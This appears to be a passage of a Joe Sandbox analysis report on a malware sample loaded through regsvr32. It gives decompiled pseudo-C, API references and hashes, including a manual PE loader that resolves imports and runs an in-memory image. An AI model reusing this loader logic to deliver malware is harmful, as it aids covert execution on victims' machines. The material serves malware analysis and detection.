0x0073f953
0x0073f959
0x0073f95f
0x0073f962
0x0073f967
0x0073f96a
0x0073f96d
0x0073f96f
0x00000000
0x0073f96f
0x0073f8fb
0x0073f8fb
0x0073f901
0x0073f907
0x0073f9f7
0x0073f9f7
0x0073f9f7
0x00000000
0x0073f9f7
0x0073f8f9
0x0073f8ba
0x0073f9f9
0x0073f9fc
0x0073f9fe
0x0073fa01
0x0073fa04
0x0073fa04
0x0073fa0d
0x0073fa0f
0x00000000
0x00000000
0x0073fa13
0x00000000
0x0073fa13
0x0073f889
0x00000000

APIs

memset.MSVCRT ref: 0073F7D4
memset.MSVCRT ref: 0073F7E5

Part of subcall function 00738F63: memset.MSVCRT ref: 00738F75

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 0073F8BA

Strings

POST, xrefs: 0073F933

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: 68f404b2e0acd0d13bab8e04fc099641bfb2ee3f1317ac5396b3492ca0291229
Instruction ID: f475be69134340f7f5fee2fe0763122535891fca8526c05c13338dcfd904b36b
Opcode Fuzzy Hash: 68f404b2e0acd0d13bab8e04fc099641bfb2ee3f1317ac5396b3492ca0291229
Instruction Fuzzy Hash: 17A14D75D00219EFEB10DFA4D848AAEB7B8FF49310F24816AF505E7251DB789E40CB65

Uniqueness

Uniqueness Score: -1.00%

Function 007414C5 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 00741545
qsort.MSVCRT ref: 007417C3

Strings

null, xrefs: 0074150A
true, xrefs: 0074151C
false, xrefs: 00741528
%I64d, xrefs: 00741537

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true
API String ID: 756996078-4285102228
Opcode ID: ac8f1e81168a333e73565d15fef3361f3a8e215609cbb4e0b045559ca061f6a5
Instruction ID: d15c60f4ce308df5b71b9b5deacbe5c42cc7f689bafb473b6a022f3bf51c1677
Opcode Fuzzy Hash: ac8f1e81168a333e73565d15fef3361f3a8e215609cbb4e0b045559ca061f6a5
Instruction Fuzzy Hash: CBE1ABB1A0020AFBDF11AF64CC46EEF7B69EF55344F908025FD15DA141E779DAA08BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00743DC7 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 322
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00743DC7(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16, intOrPtr _a20) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				signed int* _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed short* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				_Unknown_base(*)()* _v68;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				signed int _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				CHAR* _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _t216;
				signed int _t233;
				void* _t273;
				signed int _t278;
				signed int _t280;
				intOrPtr _t320;

				_v44 = _v44 & 0x00000000;
				_v84 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v20 = _v84;
				_t320 = _a4 -  *((intOrPtr*)(_v20 + 0x34));
				_v64 = _t320;
				if(_t320 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v20 + 0xbadc25)) == 0) {
						L35:
						if(_a16 == 0) {
							L54:
							_v80 =  *((intOrPtr*)(_v20 + 0x28)) + _a4;
							while(0 != 0) {
							}
							if(_a12 != 0) {
								 *_a12 = _v80;
							}
							 *((intOrPtr*)(_v20 + 0x34)) = _a4;
							_v124 = _v80(_a4, 1, _a8);
							while(0 != 0) {
							}
							if(_v124 != 0) {
								if(_v44 == 0) {
									L77:
									return 1;
								}
								if(_a20 != 1) {
									if(_a20 != 2) {
										L75:
										while(0 != 0) {
										}
										goto L77;
									}
									while(0 != 0) {
									}
									_v132 = _v44;
									goto L75;
								}
								while(0 != 0) {
								}
								_v44();
								goto L75;
							}
							while(0 != 0) {
							}
							return 0;
						}
						while(0 != 0) {
						}
						_push(8);
						if( *((intOrPtr*)(_v20 + 0x78)) == 0) {
							goto L54;
						}
						_v128 = 0x80000000;
						_t216 = 8;
						_v76 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t216 * 0));
						_v108 = _a4 +  *((intOrPtr*)(_v76 + 0x20));
						_v112 = _a4 +  *((intOrPtr*)(_v76 + 0x1c));
						_v104 =  *((intOrPtr*)(_v76 + 0x18));
						while(0 != 0) {
						}
						_v40 = _v40 & 0x00000000;
						while(_v40 < _v104) {
							_v116 = _a4 +  *((intOrPtr*)(_v108 + _v40 * 4));
							_v120 = _a4 +  *((intOrPtr*)(_v112 + _v40 * 4));
							if(lstrcmpA(_v116, _a16) != 0) {
								_v40 = _v40 + 1;
								continue;
							}
							while(0 != 0) {
							}
							_v44 = _v120;
							break;
						}
						if(_v44 != 0) {
							goto L54;
						}
						while(0 != 0) {
						}
						return 0xffffffff;
					}
					_v96 = 0x80000000;
					_t233 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v20 + (_t233 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v24 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v24 =  *_v16 + _a4;
							}
							_v72 = _v72 & 0x00000000;
							while( *_v24 != 0) {
								if(( *_v24 & _v96) == 0) {
									_v100 =  *_v24 + _a4;
									_v68 = GetProcAddress(_v36, _v100 + 2);
								} else {
									_v68 = GetProcAddress(_v36,  *_v24 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v24 = _v68;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v72) = _v68;
								}
								_v24 =  &(_v24[1]);
								_v72 = _v72 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t273 = 0xfffffffd;
							return _t273;
						}
					}
					goto L35;
				}
				_t278 = 8;
				_v52 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t278 * 5));
				_t280 = 8;
				_v56 =  *((intOrPtr*)(_v20 + 0x7c + _t280 * 5));
				while(0 != 0) {
				}
				while(_v56 > 0) {
					_v28 = _v52[2];
					_t27 =  &_v28; // 0x743978
					_v56 = _v56 -  *_t27;
					_t29 =  &_v28; // 0x743978
					_v28 =  *_t29 - 8;
					_t31 =  &_v28; // 0x743978
					_v28 =  *_t31 >> 1;
					_v32 =  &(_v52[4]);
					_v92 = _a4 +  *_v52;
					_t38 =  &_v28; // 0x743978
					_v60 =  *_t38;
					while(1) {
						_v88 = _v60;
						_v60 = _v60 - 1;
						if(_v88 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v48 = (_v12 & 0x0000ffff) + _v92;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v48 =  *_v48 + _v64;
							}
						} else {
							 *_v48 =  *_v48 + _v64;
						}
						_v32 =  &(_v32[1]);
					}
					_v52 = _v32;
				}
				goto L13;
			}

0x00743dd0
0x00743ddd
0x00743de3
0x00743dec
0x00743def
0x00743df2
0x00000000
0x00743ee3
0x00743ee7
0x00743ee9
0x00743ef7
0x00744015
0x00744019
0x007440de
0x007440e7
0x007440ea
0x007440ee
0x007440f4
0x007440fc
0x007440fc
0x00744104
0x00744112
0x00744115
0x00744119
0x0074411f
0x0074412f
0x0074415a
0x00000000
0x0074415c
0x00744135
0x00744146
0x00000000
0x00744154
0x00744158
0x00000000
0x00744154
0x00744148
0x0074414c
0x00744151
0x00000000
0x00744151
0x00744137
0x0074413b
0x0074413d
0x00000000
0x0074413d
0x00744121
0x00744125
0x00000000
0x00744127
0x0074401f
0x00744023
0x00744025
0x00744033
0x00000000
0x00000000
0x00744039
0x00744042
0x00744050
0x0074405c
0x00744068
0x00744071
0x00744074
0x00744078
0x0074407a
0x00744087
0x0074409b
0x007440aa
0x007440bb
0x00744084
0x00000000
0x00744084
0x007440bd
0x007440c1
0x007440c6
0x00000000
0x007440c6
0x007440d1
0x00000000
0x00000000
0x007440d3
0x007440d7
0x00000000
0x007440d9
0x00743efd
0x00743f06
0x00743f14
0x00743f17
0x00743f34
0x00743f3b
0x00743f4d
0x00743f4d
0x00743f54
0x00743f64
0x00743f7c
0x00743f66
0x00743f6e
0x00743f6e
0x00743f7f
0x00743f83
0x00743f93
0x00743fb6
0x00743fc8
0x00743f95
0x00743fa9
0x00743fa9
0x00743fd2
0x00743fee
0x00743fd4
0x00743fe3
0x00743fe3
0x00743ff6
0x00743fff
0x00743fff
0x0074400d
0x00000000
0x00743f56
0x00743f58
0x00000000
0x00743f58
0x00743f54
0x00000000
0x00743f17
0x00743dfa
0x00743e08
0x00743e0d
0x00743e18
0x00743e1b
0x00743e1f
0x00743e21
0x00743e31
0x00743e37
0x00743e3a
0x00743e3d
0x00743e43
0x00743e46
0x00743e4b
0x00743e54
0x00743e5f
0x00743e62
0x00743e65
0x00743e68
0x00743e6b
0x00743e72
0x00743e79
0x00000000
0x00000000
0x00743e84
0x00743e92
0x00743e9d
0x00743ea7
0x00743ebf
0x00743ecc
0x00743ecc
0x00743ea9
0x00743eb4
0x00743eb4
0x00743ed3
0x00743ed3
0x00743edb
0x00743edb
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00743F2E
LoadLibraryA.KERNEL32(00000000), ref: 00743F47
GetProcAddress.KERNEL32(00000000,?), ref: 00743FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00743FC2
lstrcmpA.KERNEL32(?,00000000), ref: 007440B3

Strings

x9t, xrefs: 00743E37, 00743E3D, 00743E46, 00743E62

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModulelstrcmp
String ID: x9t
API String ID: 1872726118-4233091173
Opcode ID: 9e4a30532ff9a7f95d8c8149a802bc7410c5e771dde3ef02573939e5856bbb61
Instruction ID: ddc0835a5bac2310315a17f322e46579acb89834ed1c5fe451bcb69f94beb8a4
Opcode Fuzzy Hash: 9e4a30532ff9a7f95d8c8149a802bc7410c5e771dde3ef02573939e5856bbb61
Instruction Fuzzy Hash: 48E1AF74E00219DFDB14CFA8C880BADBBF1BF08314F24855AE915AB361D738AA95DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0073503F Relevance: 9.2, APIs: 6, Instructions: 247
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0073503F(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, WCHAR* _a12) {
				void _v532;
				char _v548;
				char _v580;
				char _v584;
				short _v588;
				WCHAR* _v592;
				WCHAR* _v596;
				intOrPtr _v600;
				char _v628;
				char _v632;
				void* __ebx;
				void* __esi;
				short _t47;
				WCHAR* _t54;
				WCHAR* _t55;
				intOrPtr _t56;
				signed int _t61;
				void* _t65;
				void* _t66;
				WCHAR* _t67;
				intOrPtr _t68;
				WCHAR* _t70;
				intOrPtr _t71;
				WCHAR* _t73;
				WCHAR* _t83;
				intOrPtr _t84;
				void* _t85;
				intOrPtr _t86;
				void* _t93;
				intOrPtr _t94;
				intOrPtr _t96;
				void* _t99;
				void* _t100;
				WCHAR* _t101;
				void* _t112;
				WCHAR* _t116;
				intOrPtr _t127;
				void* _t128;
				void* _t146;
				WCHAR* _t149;
				void* _t150;
				void* _t152;
				void* _t156;
				WCHAR* _t157;
				WCHAR* _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t163;
				signed int _t165;
				void* _t168;
				void* _t169;
				intOrPtr* _t170;
				void* _t175;

				_t175 = __fp0;
				_push(_t160);
				_t99 = __edx;
				_t156 = __ecx;
				_t161 = _t160 | 0xffffffff;
				memset( &_v532, 0, 0x20c);
				_t168 = (_t165 & 0xfffffff8) - 0x254 + 0xc;
				_v592 = 1;
				if(_t156 != 0) {
					_t94 =  *0x74f8d4; // 0xc2fc00
					_t3 = _t94 + 0x110; // 0xc316d0
					_t96 =  *0x74f8d8; // 0xc2fab0
					_v600 =  *((intOrPtr*)(_t96 + 0x68))(_t156,  *((intOrPtr*)( *_t3)));
				}
				if(E0073CB85(_t156) != 0) {
					L4:
					_t47 = E0073C85A();
					_push(_t99);
					_v588 = _t47;
					E0073C64D(_t47,  &_v580, _t173, _t175);
					_t100 = E00734FFB( &_v580,  &_v580, _t173);
					_t112 = E0073E34A( &_v580, E0073A5D0( &_v580), 0);
					E0073C870(_t112,  &_v548, _t175);
					_push(_t112);
					_t54 = E00733174(_t156,  &_v580, _t173, _t175);
					_v596 = _t54;
					if(_t54 != 0) {
						_push(0);
						_push(_t100);
						_push(0x74c9d8);
						_t55 = E00739C50(_t54);
						_t169 = _t168 + 0x10;
						_t101 = _t55;
						__eflags = _v592;
						if(__eflags != 0) {
							_t56 = E00739AB3(_v596);
							_t116 = _t101;
							 *0x74f990 = _t56;
							E0074F988 = E00739AB3(_t116);
							L12:
							_push(_t116);
							_t157 = E0073A7C6( &_v532, _t156, _t175, _v588,  &_v584,  &_v596);
							_t170 = _t169 + 0x10;
							__eflags = _t157;
							if(_t157 == 0) {
								goto L36;
							}
							_push(0x74ca26);
							_t146 = 0xe;
							E0073AC36(_t146, _t175);
							E0073AC6F(_t157, _t175, _t101);
							_t163 = _a4;
							_push( *_t163);
							E0073AC11(0xb);
							_t148 =  *(_t163 + 0x10);
							__eflags =  *(_t163 + 0x10);
							if( *(_t163 + 0x10) != 0) {
								E0073B1B1(_t148, _t175);
							}
							_t149 =  *(_t163 + 0xc);
							__eflags = _t149;
							if(_t149 != 0) {
								E0073B1B1(_t149, _t175);
							}
							_t65 = E0073A1F8(0);
							_push(_t149);
							_t150 = 2;
							_t66 = E0073ABE3();
							__eflags = _v592;
							_t127 = _t65;
							if(_v592 == 0) {
								_t127 =  *0x74f8d4; // 0xc2fc00
								__eflags =  *((intOrPtr*)(_t127 + 0xa4)) - 1;
								if(__eflags != 0) {
									_t67 = E00740DDF(_t66, _t101, _t150, _t175, 0, _t101, 0);
									_t170 = _t170 + 0xc;
									goto L21;
								}
								_t127 = _t127 + 0x228;
								goto L20;
							} else {
								_t68 =  *0x74f8d4; // 0xc2fc00
								__eflags =  *((intOrPtr*)(_t68 + 0xa4)) - 1;
								if(__eflags != 0) {
									L27:
									__eflags =  *(_t68 + 0x1898) & 0x00000082;
									if(( *(_t68 + 0x1898) & 0x00000082) != 0) {
										_t152 = 0x64;
										E0073F15B(_t152);
									}
									E0073565D( &_v580, _t175);
									_t159 = _a8;
									_t128 = _t127;
									__eflags = _t159;
									if(_t159 != 0) {
										_t71 =  *0x74f8d4; // 0xc2fc00
										__eflags =  *((intOrPtr*)(_t71 + 0xa0)) - 1;
										if( *((intOrPtr*)(_t71 + 0xa0)) != 1) {
											lstrcpyW(_t159, _t101);
										} else {
											_t73 = E0073109A(_t128, 0x153);
											_v596 = _t73;
											lstrcpyW(_t159, _t73);
											E00738D9A( &_v596);
											 *_t170 = "\"";
											lstrcatW(_t159, ??);
											lstrcatW(_t159, _t101);
											lstrcatW(_t159, "\"");
										}
									}
									_t70 = _a12;
									__eflags = _t70;
									if(_t70 != 0) {
										 *_t70 = _v588;
									}
									_t161 = 0;
									__eflags = 0;
									goto L36;
								}
								_t32 = _t68 + 0x228; // 0xc2fe28
								_t127 = _t32;
								L20:
								_t67 = E007358D2(_t127, _t101, __eflags);
								L21:
								__eflags = _t67;
								if(_t67 >= 0) {
									_t68 =  *0x74f8d4; // 0xc2fc00
									goto L27;
								}
								_push(0xfffffffd);
								L6:
								_pop(_t161);
								goto L36;
							}
						}
						_t83 = E0073D210(_v588, __eflags);
						_v596 = _t83;
						_t84 =  *0x74f8d0; // 0xc2f8c0
						_t85 =  *((intOrPtr*)(_t84 + 0xdc))(_t83, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
						__eflags = _t85 - _t161;
						if(_t85 != _t161) {
							_t86 =  *0x74f8d0; // 0xc2f8c0
							 *((intOrPtr*)(_t86 + 0x30))();
							E00738DDF( &_v632, _t161);
							_t116 = _t85;
							goto L12;
						}
						E00738DDF( &_v628, _t161);
						_t61 = 1;
						goto L37;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t93 = E0073308A( &_v532, _t161, 0x105);
					_t173 = _t93;
					if(_t93 == 0) {
						L36:
						_t61 = _t161;
						L37:
						return _t61;
					}
					goto L4;
				}
			}

0x0073503f
0x0073504c
0x00735057
0x0073505c
0x0073505e
0x00735061
0x00735066
0x00735069
0x00735073
0x00735075
0x0073507a
0x00735082
0x0073508b
0x0073508b
0x00735098
0x007350b3
0x007350b5
0x007350ba
0x007350bf
0x007350c5
0x007350d4
0x007350f3
0x007350f5
0x007350fa
0x00735101
0x00735106
0x0073510d
0x00735117
0x00735119
0x0073511a
0x00735120
0x00735125
0x00735128
0x0073512a
0x0073512f
0x00735196
0x0073519b
0x0073519d
0x007351a7
0x007351ac
0x007351ac
0x007351c6
0x007351c8
0x007351cb
0x007351cd
0x00000000
0x00000000
0x007351d3
0x007351da
0x007351dd
0x007351e6
0x007351eb
0x007351f1
0x007351f6
0x007351fb
0x007351ff
0x00735201
0x00735205
0x00735205
0x0073520a
0x0073520d
0x0073520f
0x00735213
0x00735213
0x0073521a
0x0073521f
0x00735223
0x00735226
0x0073522b
0x00735231
0x00735232
0x0073525a
0x00735260
0x00735267
0x00735276
0x0073527b
0x00000000
0x0073527b
0x00735269
0x00000000
0x00735234
0x00735234
0x00735239
0x00735240
0x00735285
0x00735285
0x0073528c
0x00735290
0x00735291
0x00735291
0x0073529b
0x007352a0
0x007352a3
0x007352a4
0x007352a6
0x007352a8
0x007352ad
0x007352b4
0x007352f7
0x007352b6
0x007352bb
0x007352c3
0x007352c7
0x007352d2
0x007352dd
0x007352e5
0x007352e9
0x007352f1
0x007352f1
0x007352b4
0x007352fd
0x00735300
0x00735302
0x00735308
0x00735308
0x0073530a
0x0073530a
0x00000000
0x0073530a
0x00735242
0x00735242
0x00735248
0x0073524a
0x0073524f
0x0073524f
0x00735251
0x00735280
0x00000000
0x00735280
0x00735253
0x00735111
0x00735111
0x00000000
0x00735111
0x00735232
0x00735135
0x00735143
0x00735156
0x0073515b
0x00735161
0x00735163
0x0073517b
0x00735180
0x00735189
0x0073518f
0x00000000
0x0073518f
0x0073516b
0x00735174
0x00000000
0x00735174
0x0073510f
0x00000000
0x0073509a
0x007350a5
0x007350ab
0x007350ad
0x0073530c
0x0073530c
0x0073530e
0x00735314
0x00735314
0x00000000
0x007350ad

APIs

memset.MSVCRT ref: 00735061
lstrcpyW.KERNEL32 ref: 007352C7
lstrcatW.KERNEL32(00000000,?), ref: 007352E5
lstrcatW.KERNEL32(00000000,00000000), ref: 007352E9
lstrcatW.KERNEL32(00000000,0074CA28), ref: 007352F1

Part of subcall function 00738DDF: HeapFree.KERNEL32(00000000,00000000), ref: 00738E25

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: lstrcat$FreeHeaplstrcpymemset
String ID:
API String ID: 911671052-0
Opcode ID: c8823fe72357ff9649d04213804174a5bf20ff4974929a163a7763e9d560315f
Instruction ID: 21cfa8d5a6d3733e21fd77fbe5f733fd3878598a26947d0feca64208e2c6695f
Opcode Fuzzy Hash: c8823fe72357ff9649d04213804174a5bf20ff4974929a163a7763e9d560315f
Instruction Fuzzy Hash: DF710E72700305ABE314EB24DC4AB7B73EAAF85710F14452EF5569B293EB7C9D048B92

Uniqueness

Uniqueness Score: -1.00%

Function 0073DEAB Relevance: 9.1, APIs: 6, Instructions: 98
stringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0073DEAB(WCHAR* __ecx) {
				int _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				WCHAR* _v140;
				WCHAR* _v144;
				short _v664;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				WCHAR* _t36;
				int _t40;
				signed int _t41;
				int _t44;
				signed int _t45;
				WCHAR* _t49;
				signed int _t51;
				WCHAR* _t52;
				void* _t53;

				_v8 = _v8 & 0x00000000;
				_v16 = __ecx;
				_t51 = 0;
				_t28 = CommandLineToArgvW(GetCommandLineW(),  &_v8);
				_t44 = _v8;
				_t41 = 0;
				_v12 = _t28;
				if(_t44 <= 0) {
					L22:
					_t29 = _t28 | 0xffffffff;
					__eflags = _t29;
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					_t49 =  *(_t28 + _t41 * 4);
					_t30 =  *_t49 & 0x0000ffff;
					if(_t30 != 0 && _t30 != 0xd && _t30 != 0xa && _t30 != 0x2d && _t30 != 0x2f && _t51 < 0x20) {
						 *(_t53 + _t51 * 4 - 0x8c) = _t49;
						_t40 = lstrlenW(_t49);
						_t45 = 0;
						if(_t40 <= 0) {
							L11:
							_t44 = _v8;
							_t51 = _t51 + 1;
							goto L12;
						} else {
							goto L8;
						}
						do {
							L8:
							if(_t49[_t45] == 0x2c) {
								_t49[_t45] = 0;
							}
							_t45 = _t45 + 1;
						} while (_t45 < _t40);
						goto L11;
					}
					L12:
					_t28 = _v12;
					_t41 = _t41 + 1;
				} while (_t41 < _t44);
				if(_t51 != 1) {
					if(__eflags <= 0) {
						goto L22;
					}
					_t52 = _v140;
					L17:
					if( *_t52 == 0x5c || _t52[1] == 0x3a) {
						lstrcpynW(_v16, _t52, 0x104);
					} else {
						GetCurrentDirectoryW(0x104,  &_v664);
						_push(0);
						_push(_t52);
						_push(0x74c9d8);
						_t36 = E00739C50( &_v664);
						_v12 = _t36;
						lstrcpynW(_v16, _t36, 0x104);
						E00738DDF( &_v12, 0xfffffffe);
					}
					return 0;
				}
				_t52 = _v144;
				goto L17;
			}

0x0073deb4
0x0073debb
0x0073debe
0x0073decb
0x0073ded1
0x0073ded4
0x0073ded6
0x0073dedb
0x0073dfb3
0x0073dfb3
0x0073dfb3
0x00000000
0x00000000
0x00000000
0x00000000
0x0073dee1
0x0073dee1
0x0073dee1
0x0073dee4
0x0073deea
0x0073df06
0x0073df0d
0x0073df13
0x0073df17
0x0073df2b
0x0073df2b
0x0073df2e
0x00000000
0x00000000
0x00000000
0x00000000
0x0073df19
0x0073df19
0x0073df1e
0x0073df22
0x0073df22
0x0073df26
0x0073df27
0x00000000
0x0073df19
0x0073df2f
0x0073df2f
0x0073df32
0x0073df33
0x0073df3a
0x0073df44
0x00000000
0x00000000
0x0073df46
0x0073df4c
0x0073df50
0x0073dfa9
0x0073df59
0x0073df66
0x0073df6c
0x0073df6e
0x0073df75
0x0073df7b
0x0073df83
0x0073df8b
0x0073df97
0x0073df9d
0x00000000
0x0073dfaf
0x0073df3c
0x00000000

APIs

GetCommandLineW.KERNEL32 ref: 0073DEC0
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 0073DECB
lstrlenW.KERNEL32 ref: 0073DF0D
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0073DF66
lstrcpynW.KERNEL32(?,00000000,00000104), ref: 0073DF8B
lstrcpynW.KERNEL32(?,?,00000104), ref: 0073DFA9

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: CommandLinelstrcpyn$ArgvCurrentDirectorylstrlen
String ID:
API String ID: 1259063344-0
Opcode ID: 95d9f4912328ea1c9984677be855ad250a9244e2e1469fea33de23ef6288cd60
Instruction ID: 693ed952d6f0ff00972eac3dae8140b7e987632882804154d77b2d7503db2025
Opcode Fuzzy Hash: 95d9f4912328ea1c9984677be855ad250a9244e2e1469fea33de23ef6288cd60
Instruction Fuzzy Hash: 7431B575D0011AEBEF349B55E8C8AAEB7B8EF45310F10415AE527E61A1EB789D808B50

Uniqueness

Uniqueness Score: -1.00%

Function 0073E6D9 Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 0073E6ED
SysAllocString.OLEAUT32(?), ref: 0073E6F5
SysAllocString.OLEAUT32(00000000), ref: 0073E709
SysFreeString.OLEAUT32(?), ref: 0073E784
SysFreeString.OLEAUT32(?), ref: 0073E787
SysFreeString.OLEAUT32(?), ref: 0073E78C

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: e2270ed45a0984f2b871523a213c41425c1b73204eed3b8806fedaca0098373e
Instruction ID: 7450dbcb29d6c351f56a2a61c71905d3372d0793d5482f2e54d42fcaf3b4c109
Opcode Fuzzy Hash: e2270ed45a0984f2b871523a213c41425c1b73204eed3b8806fedaca0098373e
Instruction Fuzzy Hash: DF211975900219FFDB00DFA4CC88DAFBBBDEF88354B2044AAF505A7251DA75AE01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00741A0A Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

@, xrefs: 00741A78
\u%04X\u%04X, xrefs: 00741B63
\u%04X, xrefs: 00741B24

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @$\u%04X$\u%04X\u%04X
API String ID: 0-2132903582
Opcode ID: e48fc4361ef91eaa1bbdec73084928d5391fa257f5fd87b46e6f61cef7b08dab
Instruction ID: e6d1dd71cba118fedb4a834e66c941a44964782c46e5240ee1eea40e12e657cf
Opcode Fuzzy Hash: e48fc4361ef91eaa1bbdec73084928d5391fa257f5fd87b46e6f61cef7b08dab
Instruction Fuzzy Hash: 1141E8B174020A97DF24BD6C8D9EABF3614DF41710F94412AFE16D6A40E36DCDD0D291

Uniqueness

Uniqueness Score: -1.00%

Function 007433DA Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 85
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E007433DA(void* __edi, char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				signed int _t23;
				void* _t30;
				char* _t31;
				char* _t33;
				char* _t35;
				char* _t37;
				char* _t38;
				long long* _t40;

				_t30 = __edi;
				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t35 = _a4;
				_push(_t25);
				 *_t40 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t35);
				L00743533();
				_t23 = _t12;
				if(_t23 < 0 || _t23 >= _a8) {
					L16:
					_t13 = _t12 | 0xffffffff;
					goto L17;
				} else {
					E007433B3(_t12, _t35);
					if(strchr(_t35, 0x2e) != 0 || strchr(_t35, 0x65) != 0) {
						L8:
						_push(_t30);
						_t37 = strchr(_t35, 0x65);
						_t31 = _t37;
						if(_t37 == 0) {
							L15:
							_t13 = _t23;
							L17:
							return _t13;
						}
						_t38 = _t37 + 1;
						_t33 = _t31 + 2;
						if( *_t38 == 0x2d) {
							_t38 = _t33;
						}
						while( *_t33 == 0x30) {
							_t33 = _t33 + 1;
						}
						if(_t33 != _t38) {
							E00738ECB(_t38, _t33, _t23 - _t33 + _a4);
							_t23 = _t23 + _t38 - _t33;
						}
						goto L15;
					} else {
						_t6 = _t23 + 3; // 0x741bc5
						_t12 = _t6;
						if(_t12 >= _a8) {
							goto L16;
						}
						_t35[_t23] = 0x302e;
						( &(_t35[2]))[_t23] = 0;
						_t23 = _t23 + 2;
						goto L8;
					}
				}
			}

0x007433da
0x007433dd
0x007433e2
0x007433e6
0x007433e6
0x007433ec
0x007433f0
0x007433f1
0x007433f4
0x007433f5
0x007433fa
0x007433fd
0x007433fe
0x00743403
0x0074340a
0x00743493
0x00743493
0x00000000
0x00743415
0x00743416
0x00743428
0x0074344e
0x0074344e
0x00743457
0x00743459
0x0074345f
0x0074348e
0x0074348e
